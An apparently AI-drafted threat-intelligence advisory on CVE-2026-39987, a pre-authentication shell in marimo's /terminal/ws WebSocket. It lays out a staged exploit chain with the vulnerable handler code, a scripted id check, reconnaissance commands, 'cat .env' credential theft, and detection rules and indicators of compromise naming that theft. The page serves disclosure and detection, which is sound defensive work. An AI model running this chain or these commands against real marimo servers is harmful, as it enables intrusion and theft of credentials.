TP-EXP-2026-0014CVE-2026-39987criticalPatchedAI Draft

Marimo Pre-Authentication Remote Code Execution via Terminal WebSocket (CVE-2026-39987)

CVECVE-2026-39987PlatformMarimo < 0.23.0TypeRemote Code Execution
SeverityCRITICAL
StatusPatched
Zero-DayNo
DisclosedApril 8, 2026
PatchedApril 8, 2026
Days in the Wild0
CISA KEVListed

Severity Assessment

  • Exploitability: 9.7/10
  • Impact: 8.8/10
  • Weaponization Risk: 9.7/10
  • Patch Urgency: 9.5/10
  • Detection Coverage: 5.0/10

Summary

CVE-2026-39987 is a pre-authentication remote code execution vulnerability in marimo, an open-source reactive Python notebook platform with approximately 20,000 GitHub stars. The vulnerability resides in the terminal WebSocket endpoint /terminal/ws, which spawns a full interactive PTY shell without performing any authentication check on the connecting client.

The root cause is a missing call to validate_auth() in the terminal endpoint handler. All other WebSocket endpoints in the marimo server correctly invoke validate_auth() before accepting connections. The terminal endpoint checks only whether the server is running in edit mode and whether the platform supports PTY before accepting the connection and calling pty.fork(). An unauthenticated attacker with network access to a marimo instance can obtain a persistent interactive shell running with the privileges of the marimo server process using a single WebSocket connection.

The Sysdig Threat Research Team observed the first exploitation attempt in the wild 9 hours and 41 minutes after the GitHub security advisory was published, with no public proof-of-concept code in circulation at the time. The attacker exfiltrated an .env file containing credentials within 13 minutes of initial access. CISA added CVE-2026-39987 to the Known Exploited Vulnerabilities catalog on 2026-04-23 with a required action deadline of 2026-05-07.

The vulnerability affects marimo versions prior to 0.23.0. The fix was released in version 0.23.0 via pull request #9098.

Exploit Chain

Stage 1: Identify Exposed Marimo Instance

The attacker scans for internet-accessible marimo instances, which by default listen on port 2718 or 8080. The marimo web UI is publicly visible and fingerprinted through its HTML page title and JavaScript bundle paths. No authentication is required to reach the vulnerable endpoint.

GET / HTTP/1.1
Host: target:2718

HTTP 200 — marimo application HTML served
Instance confirmed as marimo, endpoint /terminal/ws reachable

Stage 2: Establish Unauthenticated WebSocket Connection to /terminal/ws

The attacker opens a WebSocket connection to /terminal/ws. The server-side handler (marimo/_server/api/endpoints/terminal.py) checks only app_state.mode != SessionMode.EDIT and not supports_terminal(). Neither check involves authentication. The connection is accepted and pty.fork() is called, creating a child process with a pseudo-terminal.

# Vulnerable handler (pre-0.23.0)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # No validate_auth() call — connection accepted unconditionally
    await websocket.accept()
    child_pid, fd = pty.fork()   # PTY shell created without auth

Compare with the correct pattern in the /ws endpoint:

# Correctly protected endpoint
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

Stage 3: Execute Validation Sequence

The attacker confirms code execution with a scripted marker sequence to verify the shell is live before investing time in reconnaissance.

echo '---POC-START---'
id
echo '---POC-END---'

---POC-START---
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
---POC-END---

The use of structured markers and id as the test command indicates an automated PoC script rather than manual interaction. The session lasted approximately 9 seconds.

Stage 4: Manual Reconnaissance

The attacker reconnects and performs manual filesystem exploration to map the environment and locate high-value files.

pwd         /app/marimo
whoami      marimo
ls          marimo  logs  data  .env  docker-compose.yml  celerybeat-schedule

The presence of .env and docker-compose.yml in the directory listing is the primary indicator that credentials are accessible.

Stage 5: Credential Exfiltration

The attacker reads the .env file and any other configuration files containing plaintext credentials. In the Sysdig-observed session this step completed within 13 minutes of initial access.

cat .env

DATABASE_URL=postgresql://user:password@db:5432/appdb
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=...
OPENAI_API_KEY=sk-...

Notebook deployments are common targets for this pattern because they are frequently configured with database connections, cloud provider credentials, and AI API keys as part of their operational workflows.

Detection Guidance

Detection Rule Behavioral Indicator Confidence
Unauthenticated WebSocket to /terminal/ws WebSocket Upgrade request to path /terminal/ws with no valid auth cookie or token present HIGH
PTY shell process spawned by marimo Unexpected shell processes (sh, bash, zsh) with marimo Python process as parent HIGH
Credential file access after WebSocket connect Read of .env, docker-compose.yml, or *_secret, *_token files within seconds of new WebSocket connection HIGH
PoC marker strings in WebSocket traffic Strings ---POC-START--- or ---POC-END--- in WebSocket frame payloads HIGH
Port 2718 probing followed by WebSocket upgrade External IP probing marimo default port then immediately issuing WebSocket Upgrade to /terminal/ws MED
Outbound connections from marimo process Unexpected outbound HTTP or HTTPS connections from the marimo server process to non-standard destinations MED

Network detection should focus on WebSocket upgrade requests to /terminal/ws on marimo application ports. Any connection from a client with no authenticated session cookie or Authorization header to this path is an exploit attempt.

For host-based detection, monitor for pty.fork() system calls or unexpected /bin/sh child processes spawned from the marimo Python process. In container environments, watch for file reads of .env or docker-compose.yml shortly after a new WebSocket connection is established.

In access logs, a WebSocket upgrade to /terminal/ws with no preceding authentication event in the session is the primary detection signal.

Indicators of Compromise

Type Indicator Context
IP 49.207.56.74 Attacker IP observed in Sysdig honeypot exploitation, Apr 9 2026
String ---POC-START--- WebSocket terminal payload; PoC validation marker
String ---POC-END--- WebSocket terminal payload; PoC validation marker
Command echo '---POC-START---'; id; echo '---POC-END---' Scripted exploit validation sequence
Path /terminal/ws Vulnerable WebSocket endpoint; unauthenticated access is an exploit indicator
Process Shell child of marimo Python process PTY shell spawned from marimo server indicates exploitation
File Access .env read by marimo process Credential exfiltration pattern observed in active exploitation

Disclosure Timeline

2026-04-08 — GitHub Security Advisory GHSA-2679-6mx9-h9xc Published

The marimo team published security advisory GHSA-2679-6mx9-h9xc disclosing the pre-authentication RCE in the /terminal/ws terminal WebSocket endpoint. The advisory described the missing validate_auth() call, compared the vulnerable endpoint to correctly protected endpoints, and included the code path for pty.fork(). The patch was released in marimo 0.23.0 via pull request #9098.

2026-04-09 — First Exploitation Observed (9h 41m After Disclosure)

At 07:31 UTC, the Sysdig Threat Research Team detected the first exploitation attempt against their honeypot fleet from IP 49.207.56.74. At 07:44 UTC, the attacker exfiltrated the .env file. At 08:57 UTC, the same attacker returned for a second exploitation session. No public proof-of-concept code existed at the time. The attacker constructed a working exploit directly from the advisory description.

2026-04-09 — Sysdig Threat Research Team Analysis Published

Sysdig published a technical analysis of the active exploitation, documenting the attacker’s session commands, timeline, and credential theft methodology. The analysis confirmed no public PoC was available at the time of the first attack and assessed that threat actors monitoring advisory feeds are capable of weaponizing vulnerabilities in niche software within hours of disclosure.

2026-04-23 — CISA Adds CVE-2026-39987 to Known Exploited Vulnerabilities Catalog

CISA added CVE-2026-39987 to the KEV catalog with a required action deadline of 2026-05-07. Federal agencies under BOD 22-01 are required to apply vendor mitigations or discontinue use of affected marimo versions by that date. The NVD entry was published the same day with a CVSS v3.1 base score of 9.8 Critical and CVSS v4.0 score of 9.3 Critical.

Sources & References